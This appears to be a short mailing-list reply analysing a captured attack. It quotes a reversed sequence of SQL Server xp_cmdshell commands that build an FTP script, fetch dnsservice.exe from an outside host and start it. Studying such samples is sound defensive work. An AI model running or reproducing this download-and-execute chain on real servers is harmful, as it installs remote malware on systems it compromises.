No, but the binaries it downloads:

win32mon.exe and dnsservice.exe

Are on the ftp site in the dump. I don't have a windows debugger to put
them through but they look interesting:

exec xp_cmdshell 'start dnsservice.exe'
exec xp_cmdshell 'del ftp.x'
exec xp_cmdshell 'ftp -s:ftp.x
exec xp_cmdshell 'echo quit >> ftp.x'
exec xp_cmdshell 'echo close >> ftp.x'
exec xp_cmdshell 'echo get dnsservice.exe>> ftp.x'
exec xp_cmdshell 'echo cd tmp>> ftp.x'
exec xp_cmdshell 'echo cd pub>> ftp.x'
exec xp_cmdshell 'echo bin>> ftp.x'
exec xp_cmdshell 'echo foo.com>> ftp.x'
exec xp_cmdshell 'echo ftp> ftp.x'
